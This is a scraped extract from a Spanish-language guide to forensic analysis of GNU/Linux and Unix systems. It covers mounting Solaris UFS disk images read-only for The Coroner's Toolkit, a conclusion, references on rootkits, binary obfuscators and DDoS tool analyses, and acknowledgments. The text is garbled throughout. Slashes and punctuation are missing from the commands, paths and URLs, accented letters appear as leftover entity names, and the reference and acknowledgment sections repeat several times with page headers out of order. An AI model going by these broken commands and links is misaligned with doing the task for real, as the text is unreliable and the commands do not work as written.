14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 50: Análisis Forense de Sistemas GNU/Linux, Unix

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 51: Análisis Forense de Sistemas GNU/Linux, Unix

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 52: Análisis Forense de Sistemas GNU/Linux, Unix

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 53: Análisis Forense de Sistemas GNU/Linux, Unix

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53